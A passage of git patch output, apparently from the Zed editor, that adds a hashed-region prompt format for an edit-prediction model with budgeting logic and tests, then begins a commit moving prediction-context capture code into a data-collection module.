+    input: &ZetaPromptInput,
+    marker_table: &[hashed_regions::SnippetMarkers],
+    cursor: &hashed_regions::RelatedFileCursor,
+    max_tokens: usize,
+) -> Option<String> {
+    let related_files = input.related_files.as_deref()?;
+
+    struct RenderedExcerpt {
+        file_ix: usize,
+        excerpt_ix: usize,
+        order: usize,
+        rendered: String,
+    }
+
+    let mut candidates = Vec::new();
+    let mut required_candidate_ix = None;
+    for (file_ix, file) in related_files.iter().enumerate() {
+        for (excerpt_ix, excerpt) in file.excerpts.iter().enumerate() {
+            let markers =
+                hashed_regions::marker_table_for_excerpt(marker_table, file_ix, excerpt_ix);
+            let mut rendered = String::new();
+            if let Some(markers) = markers {
+                let cursor_in_excerpt = (file_ix == cursor.file_ix
+                    && excerpt_ix == cursor.excerpt_ix)
+                    .then_some((cursor.offset_in_excerpt, CURSOR_MARKER));
+                hashed_regions::write_snippet_with_markers(
+                    &mut rendered,
+                    &excerpt.text,
+                    markers,
+                    cursor_in_excerpt,
+                );
+            } else {
+                rendered.push_str(&excerpt.text);
+            }
+            if !rendered.ends_with('\n') {
+                rendered.push('\n');
+            }
+
+            if file_ix == cursor.file_ix && excerpt_ix == cursor.excerpt_ix {
+                required_candidate_ix = Some(candidates.len());
+            }
+
+            candidates.push(RenderedExcerpt {
+                file_ix,
+                excerpt_ix,
+                order: excerpt.order,
+                rendered,
+            });
+        }
+    }
+
+    let required_candidate_ix = required_candidate_ix?;
+    let file_headers: Vec<String> = related_files
+        .iter()
+        .map(|file| {
+            let path = hashed_regions::related_file_patch_path(&input.cursor_path, &file.path)
+                .iter()
+                .map(|component| component.to_string_lossy())
+                .collect::<Vec<_>>()
+                .join("/");
+            format!("{}{path}\n", seed_coder::FILE_MARKER)
+        })
+        .collect();
+
+    let mut total_tokens = 0;
+    let mut included = vec![false; candidates.len()];
+    let mut file_included = vec![false; related_files.len()];
+
+    let required = &candidates[required_candidate_ix];
+    let required_cost =
+        estimate_tokens(file_headers[required.file_ix].len() + required.rendered.len());
+    if required_cost > max_tokens {
+        return None;
+    }
+    total_tokens += required_cost;
+    included[required_candidate_ix] = true;
+    file_included[required.file_ix] = true;
+
+    let mut selection_order: Vec<usize> = (0..candidates.len()).collect();
+    selection_order.sort_by_key(|&candidate_ix| {
+        let candidate = &candidates[candidate_ix];
+        (candidate.order, candidate.file_ix, candidate.excerpt_ix)
+    });
+
+    for candidate_ix in selection_order {
+        if included[candidate_ix] {
+            continue;
+        }
+        let candidate = &candidates[candidate_ix];
+        let header_cost = if file_included[candidate.file_ix] {
+            0
+        } else {
+            estimate_tokens(file_headers[candidate.file_ix].len())
+        };
+        let excerpt_cost = estimate_tokens(candidate.rendered.len());
+        if total_tokens + header_cost + excerpt_cost > max_tokens {
+            continue;
+        }
+        total_tokens += header_cost + excerpt_cost;
+        included[candidate_ix] = true;
+        file_included[candidate.file_ix] = true;
+    }
+
+    let mut result = String::new();
+    let mut last_file_ix = None;
+    for (candidate_ix, candidate) in candidates.iter().enumerate() {
+        if !included[candidate_ix] {
+            continue;
+        }
+        if last_file_ix != Some(candidate.file_ix) {
+            result.push_str(&file_headers[candidate.file_ix]);
+            last_file_ix = Some(candidate.file_ix);
+        }
+        result.push_str(&candidate.rendered);
+
+        let file = &related_files[candidate.file_ix];
+        let excerpt = &file.excerpts[candidate.excerpt_ix];
+        let next_excerpt_start = candidates
+            .iter()
+            .enumerate()
+            .skip(candidate_ix + 1)
+            .find(|(next_ix, next)| included[*next_ix] && next.file_ix == candidate.file_ix)
+            .map(|(_, next)| file.excerpts[next.excerpt_ix].row_range.start);
+        if rows_omitted_after_excerpt(excerpt, next_excerpt_start, file.max_row) {
+            result.push_str("...\n");
+        }
+    }
+
+    Some(result)
+}
+
+fn format_hash_regions_prompt_with_budget(
+    input: &ZetaPromptInput,
+    max_tokens: usize,
+) -> Option<String> {
+    let marker_table = hashed_regions::build_marker_table(input);
+    let cursor = hashed_regions::locate_cursor_in_related_files(input)?;
+    hashed_regions::marker_table_for_excerpt(&marker_table, cursor.file_ix, cursor.excerpt_ix)?;
+
+    let fixed_tokens = estimate_tokens(
+        seed_coder::FIM_SUFFIX.len()
+            + "\n".len()
+            + seed_coder::FIM_PREFIX.len()
+            + seed_coder::FIM_MIDDLE.len(),
+    );
+    let related_files_budget = max_tokens.saturating_sub(fixed_tokens);
+    let related_files_section = format_hash_region_related_files_within_budget(
+        input,
+        &marker_table,
+        &cursor,
+        related_files_budget,
+    )?;
+
+    let mut prompt = String::new();
+    prompt.push_str(seed_coder::FIM_SUFFIX);
+    prompt.push('\n');
+    prompt.push_str(seed_coder::FIM_PREFIX);
+    prompt.push_str(&related_files_section);
+    if !prompt.ends_with('\n') {
+        prompt.push('\n');
+    }
+    prompt.push_str(seed_coder::FIM_MIDDLE);
+    Some(prompt)
+}
+
 pub fn format_prompt_with_budget_for_format(
     input: &ZetaPromptInput,
     format: ZetaFormat,
@@ -829,7 +1064,9 @@ pub fn format_prompt_with_budget_for_format(
 
     let empty_files = Vec::new();
     let input_related_files = input.related_files.as_deref().unwrap_or(&empty_files);
-    let filtered_related_files = if let Some(cursor_excerpt_start_row) = input.excerpt_start_row {
+    let filtered_related_files = if format == ZetaFormat::V0615HashRegions {
+        input_related_files.to_vec()
+    } else if let Some(cursor_excerpt_start_row) = input.excerpt_start_row {
         let relative_row_range =
             offset_range_to_row_range(&input.cursor_excerpt, context_range.clone());
         let row_range = relative_row_range.start + cursor_excerpt_start_row
@@ -845,6 +1082,9 @@ pub fn format_prompt_with_budget_for_format(
     let related_files = filtered_related_files.as_slice();
 
     let prompt = match format {
+        ZetaFormat::V0615HashRegions => {
+            format_hash_regions_prompt_with_budget(input, apply_prompt_budget_margin(max_tokens))?
+        }
         ZetaFormat::V0211SeedCoder
         | ZetaFormat::V0331SeedCoderModelPy
         | ZetaFormat::V0304SeedNoEdits
@@ -1079,7 +1319,8 @@ pub fn max_edit_event_count_for_format(format: &ZetaFormat) -> usize {
         | ZetaFormat::V0317SeedMultiRegions
         | ZetaFormat::V0420Diagnostics
         | ZetaFormat::V0608QwenMultiRegions
-        | ZetaFormat::V0327SingleFile => 6,
+        | ZetaFormat::V0327SingleFile
+        | ZetaFormat::V0615HashRegions => 6,
     }
 }
 
@@ -1106,7 +1347,8 @@ pub fn get_prefill_for_format(
         | ZetaFormat::V0317SeedMultiRegions
         | ZetaFormat::V0420Diagnostics
         | ZetaFormat::V0608QwenMultiRegions
-        | ZetaFormat::V0327SingleFile => String::new(),
+        | ZetaFormat::V0327SingleFile
+        | ZetaFormat::V0615HashRegions => String::new(),
     }
 }
 
@@ -1125,6 +1367,7 @@ pub fn output_end_marker_for_format(format: ZetaFormat) -> Option<&'static str>
         ZetaFormat::V0608QwenMultiRegions => Some(qwen::END_MARKER),
         ZetaFormat::V0317SeedMultiRegions => Some(multi_region::V0317_END_MARKER),
         ZetaFormat::V0327SingleFile => Some(multi_region::V0327_END_MARKER),
+        ZetaFormat::V0615HashRegions => Some(hashed_regions::V0615_END_MARKER),
 
         ZetaFormat::V0112MiddleAtEnd
         | ZetaFormat::V0113Ordered
@@ -1225,6 +1468,7 @@ pub fn encode_patch_as_output_for_format(
                 Ok(None)
             }
         }
+        ZetaFormat::V0615HashRegions => Ok(None),
         _ => Ok(None),
     }
 }
@@ -1237,6 +1481,10 @@ pub fn format_expected_output(
     patch: &str,
     cursor_offset: Option<usize>,
 ) -> Result<String> {
+    if format == ZetaFormat::V0615HashRegions {
+        return hashed_regions::encode_patch_as_output(input, patch, cursor_offset, CURSOR_MARKER);
+    }
+
     let (context, editable_range, _, _) = resolve_cursor_region(input, format);
     let mut old_editable = context[editable_range].to_string();
     if !old_editable.is_empty() && !old_editable.ends_with('\n') {
@@ -1329,7 +1577,8 @@ pub fn format_expected_output(
         | ZetaFormat::V0304VariableEdit
         | ZetaFormat::V0304SeedNoEdits
         | ZetaFormat::V0331SeedCoderModelPy
-        | ZetaFormat::V0306SeedMultiRegions => {
+        | ZetaFormat::V0306SeedMultiRegions
+        | ZetaFormat::V0615HashRegions => {
             let (mut result, first_hunk_offset) = if empty_patch {
                 (old_editable.clone(), None)
             } else {
@@ -1471,6 +1720,11 @@ pub fn parse_zeta2_model_output(
             editable_range_in_context,
             multi_region::apply_marker_span_v0318(old_editable_region, output)?,
         ),
+        ZetaFormat::V0615HashRegions => {
+            anyhow::bail!(
+                "V0615HashRegions output addresses related-file context; use parse_zeta2_model_output_as_patch"
+            )
+        }
         _ => (editable_range_in_context, output.to_string()),
     };
 
@@ -1485,6 +1739,10 @@ pub fn parse_zeta2_model_output_as_patch(
     format: ZetaFormat,
     prompt_inputs: &ZetaPromptInput,
 ) -> Result<String> {
+    if format == ZetaFormat::V0615HashRegions {
+        return hashed_regions::parse_output_as_patch(prompt_inputs, output, CURSOR_MARKER);
+    }
+
     let parsed = parse_zeta2_model_output(output, format, prompt_inputs)?;
     parsed_output_to_patch(prompt_inputs, parsed)
 }
@@ -1620,7 +1878,7 @@ pub fn get_prefill(input: &ZetaPromptInput, format: ZetaFormat) -> String {
     get_prefill_for_format(format, context, &editable_range)
 }
 
-fn format_edit_history_within_budget(
+pub fn format_edit_history_within_budget(
     events: &[Arc<Event>],
     file_marker: &str,
     edit_history_name: &str,
@@ -1735,7 +1993,7 @@ pub fn format_related_files_within_budget(
     // Render all of the files that fit within the token budget, in the original order.
     let mut result = String::new();
     let mut last_file_ix = None;
-    for candidate in &excerpt_candidates {
+    for (candidate_ix, candidate) in excerpt_candidates.iter().enumerate() {
         if last_file_ix != Some(candidate.file_ix) {
             if last_file_ix.is_some() {
                 result.push_str(file_suffix);
@@ -1749,7 +2007,11 @@ pub fn format_related_files_within_budget(
         if !result.ends_with('\n') {
             result.push('\n');
         }
-        if excerpt.row_range.end < file.max_row {
+        let next_excerpt_start = excerpt_candidates
+            .get(candidate_ix + 1)
+            .filter(|next| next.file_ix == candidate.file_ix)
+            .map(|next| file.excerpts[next.excerpt_ix].row_range.start);
+        if rows_omitted_after_excerpt(excerpt, next_excerpt_start, file.max_row) {
             result.push_str("...\n");
         }
     }
@@ -1757,6 +2019,20 @@ pub fn format_related_files_within_budget(
     result
 }
 
+/// Whether rows are omitted between this excerpt and the next rendered
+/// excerpt of the same file (or the end of the file), in which case an
+/// ellipsis line should be rendered.
+pub fn rows_omitted_after_excerpt(
+    excerpt: &RelatedExcerpt,
+    next_excerpt_start: Option<u32>,
+    file_max_row: u32,
+) -> bool {
+    match next_excerpt_start {
+        Some(next_start) => excerpt.row_range.end < next_start,
+        None => excerpt.row_range.end < file_max_row,
+    }
+}
+
 pub fn write_related_files(
     prompt: &mut String,
     related_files: &[RelatedFile],
@@ -1766,12 +2042,16 @@ pub fn write_related_files(
         let start = prompt.len();
         let path_str = file.path.to_string_lossy();
         write!(prompt, "<|file_sep|>{}\n", path_str).ok();
-        for excerpt in &file.excerpts {
+        for (excerpt_ix, excerpt) in file.excerpts.iter().enumerate() {
             prompt.push_str(&excerpt.text);
             if !prompt.ends_with('\n') {
                 prompt.push('\n');
             }
-            if excerpt.row_range.end < file.max_row {
+            let next_excerpt_start = file
+                .excerpts
+                .get(excerpt_ix + 1)
+                .map(|next| next.row_range.start);
+            if rows_omitted_after_excerpt(excerpt, next_excerpt_start, file.max_row) {
                 prompt.push_str("...\n");
             }
         }
@@ -5217,13 +5497,13 @@ mod tests {
                         context_source: ContextSource::Lsp,
                     },
                     RelatedExcerpt {
-                        row_range: 10..20,
+                        row_range: 11..20,
                         text: "second excerpt\n".into(),
                         order: 0,
                         context_source: ContextSource::Lsp,
                     },
                     RelatedExcerpt {
-                        row_range: 20..30,
+                        row_range: 21..30,
                         text: "third excerpt\n".into(),
                         order: 0,
                         context_source: ContextSource::Lsp,
@@ -5268,6 +5548,55 @@ mod tests {
         );
     }
 
+    #[test]
+    fn test_contiguous_excerpts_render_without_ellipsis() {
+        // Excerpts whose row ranges touch (end == next start) are contiguous
+        // segments of the same region and must render seamlessly, without an
+        // ellipsis line between them.
+        let input = make_input(
+            "x",
+            0..1,
+            0,
+            vec![],
+            vec![RelatedFile {
+                path: Path::new("big.rs").into(),
+                max_row: 30,
+                in_open_source_repo: false,
+                excerpts: vec![
+                    RelatedExcerpt {
+                        row_range: 0..10,
+                        text: "first segment\n".into(),
+                        order: 1,
+                        context_source: ContextSource::GitLog,
+                    },
+                    RelatedExcerpt {
+                        row_range: 10..20,
+                        text: "second segment\n".into(),
+                        order: 0,
+                        context_source: ContextSource::OracleSnippet,
+                    },
+                ],
+            }],
+        );
+
+        assert_eq!(
+            format_with_budget(&input, 10000).unwrap(),
+            indoc! {r#"
+                <|file_sep|>big.rs
+                first segment
+                second segment
+                ...
+                <|file_sep|>test.rs
+                <|fim_prefix|>
+                <|fim_middle|>current
+                <|user_cursor|>x
+                <|fim_suffix|>
+                <|fim_middle|>updated
+            "#}
+            .to_string()
+        );
+    }
+
     #[test]
     fn test_truncation_prioritizes_lower_order_excerpts() {
         // Two files: file_a has a high-order excerpt, file_b has a low-order one.
@@ -5365,13 +5694,13 @@ mod tests {
                         context_source: ContextSource::Lsp,
                     },
                     RelatedExcerpt {
-                        row_range: 5..15,
+                        row_range: 6..15,
                         text: "important fn\n".into(),
                         order: 1,
                         context_source: ContextSource::Lsp,
                     },
                     RelatedExcerpt {
-                        row_range: 15..30,
+                        row_range: 16..30,
                         text: "less important fn\n".into(),
                         order: 3,
                         context_source: ContextSource::Lsp,
@@ -5723,6 +6052,208 @@ mod tests {
         assert!(editable_range.end < excerpt.len());
     }
 
+    #[test]
+    fn test_v0615_formats_hashed_markers_for_rendered_related_context() {
+        let current_text = "fn main() {\n    let value = 1;\n}\n";
+        let cursor_offset = current_text.find("let value").unwrap();
+        let input = ZetaPromptInput {
+            cursor_path: Path::new("test.rs").into(),
+            cursor_excerpt: current_text.into(),
+            cursor_offset_in_excerpt: cursor_offset,
+            excerpt_start_row: Some(0),
+            events: Vec::new(),
+            related_files: Some(vec![
+                RelatedFile {
+                    path: Path::new("test.rs").into(),
+                    max_row: 3,
+                    excerpts: vec![RelatedExcerpt {
+                        row_range: 0..3,
+                        text: current_text.into(),
+                        order: 0,
+                        context_source: ContextSource::CurrentFile,
+                    }],
+                    in_open_source_repo: false,
+                },
+                RelatedFile {
+                    path: Path::new("helper.rs").into(),
+                    max_row: 3,
+                    excerpts: vec![RelatedExcerpt {
+                        row_range: 10..13,
+                        text: "fn helper() {\n    one();\n}\n".into(),
+                        order: 1,
+                        context_source: ContextSource::EditHistory,
+                    }],
+                    in_open_source_repo: false,
+                },
+                RelatedFile {
+                    path: Path::new("readonly.rs").into(),
+                    max_row: 1,
+                    excerpts: vec![RelatedExcerpt {
+                        row_range: 0..1,
+                        text: "pub fn readonly() {}\n".into(),
+                        order: 2,
+                        context_source: ContextSource::Lsp,
+                    }],
+                    in_open_source_repo: false,
+                },
+            ]),
+            active_buffer_diagnostics: vec![],
+            excerpt_ranges: ExcerptRanges::default(),
+            syntax_ranges: None,
+            in_open_source_repo: false,
+            can_collect_data: false,
+            repo_url: None,
+        };
+
+        let prompt = format_zeta_prompt(&input, ZetaFormat::V0615HashRegions).unwrap();
+        let marker_table = hashed_regions::build_marker_table(&input);
+        let marker_count: usize = marker_table
+            .iter()
+            .map(|snippet| snippet.markers.len())
+            .sum();
+
+        assert!(prompt.starts_with("<[fim-suffix]>\n<[fim-prefix]><filename>test.rs\n"));
+        assert!(prompt.ends_with("<[fim-middle]>"));
+        assert!(prompt.contains(CURSOR_MARKER));
+        assert!(prompt.contains("<filename>helper.rs\n"));
+        assert!(prompt.contains("<filename>readonly.rs\n"));
+        assert!(prompt.contains("<filename>readonly.rs\n<|marker_"));
+        assert!(prompt.contains("pub fn readonly() {}"));
+        assert_eq!(
+            prompt.matches(hashed_regions::MARKER_TAG_PREFIX).count(),
+            marker_count
+        );
+        assert!(!prompt.contains(seed_coder::START_MARKER));
+    }
+
+    #[test]
+    fn test_v0615_parse_related_file_jump_as_patch() {
+        let current_text = "fn main() {\n    helper();\n}\n";
+        let helper_text = "fn helper() {\n    one();\n}\n";
+        let input = ZetaPromptInput {
+            cursor_path: Path::new("test.rs").into(),
+            cursor_excerpt: current_text.into(),
+            cursor_offset_in_excerpt: current_text.find("helper").unwrap(),
+            excerpt_start_row: Some(0),
+            events: Vec::new(),
+            related_files: Some(vec![
+                RelatedFile {
+                    path: Path::new("test.rs").into(),
+                    max_row: 3,
+                    excerpts: vec![RelatedExcerpt {
+                        row_range: 0..3,
+                        text: current_text.into(),
+                        order: 0,
+                        context_source: ContextSource::CurrentFile,
+                    }],
+                    in_open_source_repo: false,
+                },
+                RelatedFile {
+                    path: Path::new("helper.rs").into(),
+                    max_row: 13,
+                    excerpts: vec![RelatedExcerpt {
+                        row_range: 10..13,
+                        text: helper_text.into(),
+                        order: 1,
+                        context_source: ContextSource::EditHistory,
+                    }],
+                    in_open_source_repo: false,
+                },
+            ]),
+            active_buffer_diagnostics: vec![],
+            excerpt_ranges: ExcerptRanges::default(),
+            syntax_ranges: None,
+            in_open_source_repo: false,
+            can_collect_data: false,
+            repo_url: None,
+        };
+        let marker_table = hashed_regions::build_marker_table(&input);
+        let helper_markers = &marker_table[1].markers;
+        let start_tag = hashed_regions::marker_tag(&helper_markers[0].0);
+        let end_tag = hashed_regions::marker_tag(&helper_markers[helper_markers.len() - 1].0);
+        let output = format!(
+            "{start_tag}\nfn helper() {{\n    two();\n}}\n{end_tag}{}",
+            hashed_regions::V0615_END_MARKER
+        );
+
+        let patch =
+            parse_zeta2_model_output_as_patch(&output, ZetaFormat::V0615HashRegions, &input)
+                .unwrap();
+
+        assert!(patch.contains("--- a/helper.rs"), "patch: {patch}");
+        assert!(patch.contains("@@ -11,"), "patch: {patch}");
+        assert!(patch.contains("-    one();"), "patch: {patch}");
+        assert!(patch.contains("+    two();"), "patch: {patch}");
+    }
+
+    #[test]
+    fn test_v0615_expected_output_round_trips_to_patch() {
+        let current_text = "fn main() {\n    helper();\n}\n";
+        let helper_text = "fn helper() {\n    one();\n}\n";
+        let input = ZetaPromptInput {
+            cursor_path: Path::new("test.rs").into(),
+            cursor_excerpt: current_text.into(),
+            cursor_offset_in_excerpt: current_text.find("helper").unwrap(),
+            excerpt_start_row: Some(0),
+            events: Vec::new(),
+            related_files: Some(vec![
+                RelatedFile {
+                    path: Path::new("test.rs").into(),
+                    max_row: 3,
+                    excerpts: vec![RelatedExcerpt {
+                        row_range: 0..3,
+                        text: current_text.into(),
+                        order: 0,
+                        context_source: ContextSource::CurrentFile,
+                    }],
+                    in_open_source_repo: false,
+                },
+                RelatedFile {
+                    path: Path::new("helper.rs").into(),
+                    max_row: 13,
+                    excerpts: vec![RelatedExcerpt {
+                        row_range: 10..13,
+                        text: helper_text.into(),
+                        order: 1,
+                        context_source: ContextSource::EditHistory,
+                    }],
+                    in_open_source_repo: false,
+                },
+            ]),
+            active_buffer_diagnostics: vec![],
+            excerpt_ranges: ExcerptRanges::default(),
+            syntax_ranges: None,
+            in_open_source_repo: false,
+            can_collect_data: false,
+            repo_url: None,
+        };
+        let patch = indoc! {"
+            --- a/helper.rs
+            +++ b/helper.rs
+            @@ -11,3 +11,3 @@
+             fn helper() {
+            -    one();
+            +    two();
+             }
+        "};
+
+        let output =
+            format_expected_output(&input, ZetaFormat::V0615HashRegions, patch, None).unwrap();
+        let parsed_patch =
+            parse_zeta2_model_output_as_patch(&output, ZetaFormat::V0615HashRegions, &input)
+                .unwrap();
+
+        assert!(output.contains(hashed_regions::MARKER_TAG_PREFIX));
+        assert!(
+            parsed_patch.contains("-    one();"),
+            "patch: {parsed_patch}"
+        );
+        assert!(
+            parsed_patch.contains("+    two();"),
+            "patch: {parsed_patch}"
+        );
+    }
+
     #[test]
     fn test_seed_coder_no_context() {
         let input = make_input("before\nmiddle\nafter", 7..13, 10, vec![], vec![]);

From 17c0ebb0f7b8b512d99f396e543e71c1775ff6f6 Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Wed, 24 Jun 2026 21:32:40 -0400
Subject: [PATCH 093/772] ep: Batch settled edit prediction telemetry (#59857)

# Objective

Closes EP-78

- Describe the objective or issue this PR addresses.
- If you're fixing a specific issue, use "Fixes #X" for each issue as
[described in the GitHub
docs](https://docs.github.com/en/issues/tracking-your-work-with-issues/using-issues/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword).

## Solution

- Describe the solution used to achieve the objective above.

## Testing

- Did you test these changes? If so, how?
- Are there any parts that need more testing?
- How can other people (reviewers) test your changes? Is there anything
specific they need to know?
- If relevant, what platforms did you test these changes on, and are
there any important ones you can't test?

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

> This section is optional. If this PR does not include a visual change
or does not add a new user-facing feature, you can delete this section.

- Help others understand the result of this PR by showcasing your
awesome work!
- If this PR includes a visual change, consider adding a screenshot,
GIF, or video
- A before/after comparison is very useful for changes to existing
features!

While a showcase should aim to be brief and digestible, you can use a
toggleable section to save space on longer showcases:

<details>
  <summary>Click to view showcase</summary>

My super cool demos here

</details>

---

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 .../src/capture_prediction_context.rs         |  95 ------
 crates/edit_prediction/src/data_collection.rs |  93 +++++-
 crates/edit_prediction/src/edit_prediction.rs | 283 ++++++++++--------
 .../src/edit_prediction_tests.rs              |  84 +++++-
 crates/edit_prediction/src/zeta.rs            |  60 ++--
 5 files changed, 357 insertions(+), 258 deletions(-)
 delete mode 100644 crates/edit_prediction/src/capture_prediction_context.rs

diff --git a/crates/edit_prediction/src/capture_prediction_context.rs b/crates/edit_prediction/src/capture_prediction_context.rs
deleted file mode 100644
index 39f05532e7a629..00000000000000
--- a/crates/edit_prediction/src/capture_prediction_context.rs
+++ /dev/null
@@ -1,95 +0,0 @@
-use crate::{
-    EditPredictionStore, StoredEvent,
-    data_collection::{compute_uncommitted_diff, uncommitted_diffs_for_events},
-    zeta,
-};
-use anyhow::Result;
-use gpui::{Context, Entity, Task};
-use language::{Buffer, Point, ToPoint as _};
-use project::Project;
-use text::OffsetRangeExt as _;
-
-const MAX_UNCOMMITTED_DIFF_SIZE: usize = 64 * 1024;
-
-pub(crate) struct CapturedPredictionContext {
-    pub(crate) repository_url: Option<String>,
-    pub(crate) revision: Option<String>,
-    pub(crate) uncommitted_diff: Option<String>,
-    pub(crate) buffer_diagnostics: Vec<zeta_prompt::ActiveBufferDiagnostic>,
-    pub(crate) editable_context: Vec<zeta_prompt::RelatedFile>,
-}
-
-pub(crate) fn capture_prediction_context(
-    project: Entity<Project>,
-    buffer: Entity<Buffer>,
-    cursor_anchor: language::Anchor,
-    stored_events: Vec<StoredEvent>,
-    repository_url: Option<String>,
-    revision: Option<String>,
-    editable_context_task: Task<Result<Vec<zeta_prompt::RelatedFile>>>,
-    cx: &mut Context<EditPredictionStore>,
-) -> Option<Task<Result<CapturedPredictionContext>>> {
-    let snapshot = buffer.read(cx).snapshot();
-    let worktree_id = snapshot.file()?.worktree_id(cx);
-    let uncommitted_diff_task =
-        uncommitted_diffs_for_events(project, worktree_id, stored_events, cx);
-
-    Some(cx.spawn(async move |_this, cx| {
-        let uncommitted_diff_snapshot = match uncommitted_diff_task.await {
-            Ok(snapshot) => Some(snapshot),
-            Err(error) => {
-                log::debug!("failed to capture uncommitted diff: {error:?}");
-                None
-            }
-        };
-
-        let uncommitted_diff = if let Some(uncommitted_diff_snapshot) = uncommitted_diff_snapshot {
-            let estimated_uncommitted_diff_size = uncommitted_diff_snapshot
-                .iter()
-                .map(|(_, buffer_snapshot, diff_snapshot)| {
-                    diff_snapshot
-                        .hunks(buffer_snapshot)
-                        .map(|hunk| {
-                            hunk.diff_base_byte_range.len()
-                                + hunk.range.to_offset(buffer_snapshot).len()
-                        })
-                        .sum::<usize>()
-                })
-                .sum::<usize>();
-
-            if estimated_uncommitted_diff_size <= MAX_UNCOMMITTED_DIFF_SIZE {
-                let uncommitted_diff = cx
-                    .background_executor()
-                    .spawn(async move { compute_uncommitted_diff(uncommitted_diff_snapshot) })
-                    .await;
-                (uncommitted_diff.len() <= MAX_UNCOMMITTED_DIFF_SIZE).then_some(uncommitted_diff)
-            } else {
-                None
-            }
-        } else {
-            None
-        };
-
-        let buffer_diagnostics = zeta::active_buffer_diagnostics(
-            &snapshot,
-            Point::new(0, 0)..snapshot.max_point(),
-            cursor_anchor.to_point(&snapshot).row,
-            100,
-        );
-        let editable_context = match editable_context_task.await {
-            Ok(editable_context) => editable_context,
-            Err(error) => {
-                log::debug!("failed to capture editable context: {error:?}");
-                Vec::new()
-            }
-        };
-
-        Ok(CapturedPredictionContext {
-            repository_url,
-            revision,
-            uncommitted_diff,
-            buffer_diagnostics,
-            editable_context,
-        })
-    }))
-}
diff --git a/crates/edit_prediction/src/data_collection.rs b/crates/edit_prediction/src/data_collection.rs
index 4be37c03b86e92..217124157a74fa 100644
--- a/crates/edit_prediction/src/data_collection.rs
+++ b/crates/edit_prediction/src/data_collection.rs
@@ -1,20 +1,105 @@
-use crate::{EditPredictionStore, StoredEvent};
+use crate::{EditPredictionStore, StoredEvent, zeta};
 
-use anyhow::Context as _;
+use anyhow::{Context as _, Result};
 use buffer_diff::BufferDiffSnapshot;
 use collections::HashMap;
 use gpui::{Context, Entity, Task};
-use language::BufferSnapshot;
+use language::{Buffer, BufferSnapshot, ToPoint as _};
 use project::{Project, ProjectPath, WorktreeId};
 use std::{fmt::Write as _, ops::Range, path::Path, sync::Arc};
-use text::Point;
+use text::{OffsetRangeExt as _, Point};
 use util::rel_path::RelPath;
 
+const MAX_UNCOMMITTED_DIFF_SIZE: usize = 64 * 1024;
+
 pub type UncommittedDiffSnapshot = Vec<(Arc<Path>, BufferSnapshot, BufferDiffSnapshot)>;
 pub type UncommittedDiffResult = std::result::Result<UncommittedDiffSnapshot, Arc<anyhow::Error>>;
 
 pub use zeta_prompt::udiff::CURSOR_POSITION_MARKER;
 
+pub(crate) struct CapturedPredictionContext {
+    pub(crate) repository_url: Option<String>,
+    pub(crate) revision: Option<String>,
+    pub(crate) uncommitted_diff: Option<String>,
+    pub(crate) buffer_diagnostics: Vec<zeta_prompt::ActiveBufferDiagnostic>,
+    pub(crate) editable_context: Vec<zeta_prompt::RelatedFile>,
+}
+
+pub(crate) fn capture_prediction_context(
+    project: Entity<Project>,
+    buffer: Entity<Buffer>,
+    cursor_anchor: language::Anchor,
+    stored_events: Vec<StoredEvent>,
+    repository_url: Option<String>,
+    revision: Option<String>,
+    editable_context_task: Task<Result<Vec<zeta_prompt::RelatedFile>>>,
+    cx: &mut Context<EditPredictionStore>,
+) -> Option<Task<Result<CapturedPredictionContext>>> {
+    let snapshot = buffer.read(cx).snapshot();
+    let worktree_id = snapshot.file()?.worktree_id(cx);
+    let uncommitted_diff_task =
+        uncommitted_diffs_for_events(project, worktree_id, stored_events, cx);
+
+    Some(cx.spawn(async move |_this, cx| {
+        let uncommitted_diff_snapshot = match uncommitted_diff_task.await {
+            Ok(snapshot) => Some(snapshot),
+            Err(error) => {
+                log::debug!("failed to capture uncommitted diff: {error:?}");
+                None
+            }
+        };
+
+        let uncommitted_diff = if let Some(uncommitted_diff_snapshot) = uncommitted_diff_snapshot {
+            let estimated_uncommitted_diff_size = uncommitted_diff_snapshot
+                .iter()
+                .map(|(_, buffer_snapshot, diff_snapshot)| {
+                    diff_snapshot
+                        .hunks(buffer_snapshot)
+                        .map(|hunk| {
+                            hunk.diff_base_byte_range.len()
+                                + hunk.range.to_offset(buffer_snapshot).len()
+                        })
+                        .sum::<usize>()
+                })
+                .sum::<usize>();
+
+            if estimated_uncommitted_diff_size <= MAX_UNCOMMITTED_DIFF_SIZE {
+                let uncommitted_diff = cx
+                    .background_executor()
+                    .spawn(async move { compute_uncommitted_diff(uncommitted_diff_snapshot) })
+                    .await;
+                (uncommitted_diff.len() <= MAX_UNCOMMITTED_DIFF_SIZE).then_some(uncommitted_diff)
+            } else {
+                None
+            }
+        } else {
+            None
+        };
+
+        let buffer_diagnostics = zeta::active_buffer_diagnostics(
+            &snapshot,
+            Point::new(0, 0)..snapshot.max_point(),
+            cursor_anchor.to_point(&snapshot).row,
+            100,
+        );
+        let editable_context = match editable_context_task.await {
+            Ok(editable_context) => editable_context,
+            Err(error) => {
+                log::debug!("failed to capture editable context: {error:?}");
+                Vec::new()
+            }
+        };
+
+        Ok(CapturedPredictionContext {
+            repository_url,
+            revision,
+            uncommitted_diff,
+            buffer_diagnostics,
+            editable_context,
+        })
+    }))
+}
+
 pub fn uncommitted_diffs_for_events(
     project: Entity<Project>,
     worktree_id: WorktreeId,
diff --git a/crates/edit_prediction/src/edit_prediction.rs b/crates/edit_prediction/src/edit_prediction.rs
index f9b07daa4f4188..5e4cdf6da79a6f 100644
--- a/crates/edit_prediction/src/edit_prediction.rs
+++ b/crates/edit_prediction/src/edit_prediction.rs
@@ -3,8 +3,10 @@ use buffer_diff::BufferDiff;
 use client::{Client, EditPredictionUsage, UserStore, global_llm_token};
 use cloud_api_client::LlmApiToken;
 use cloud_api_types::{
-    EditPredictionRecentFile, EditPredictionSettledKeptChars, OrganizationId,
-    SettledEditPrediction, SettledEditPredictionSampleData, SubmitEditPredictionFeedbackBody,
+    EditPredictionRecentFile, EditPredictionSettledKeptChars,
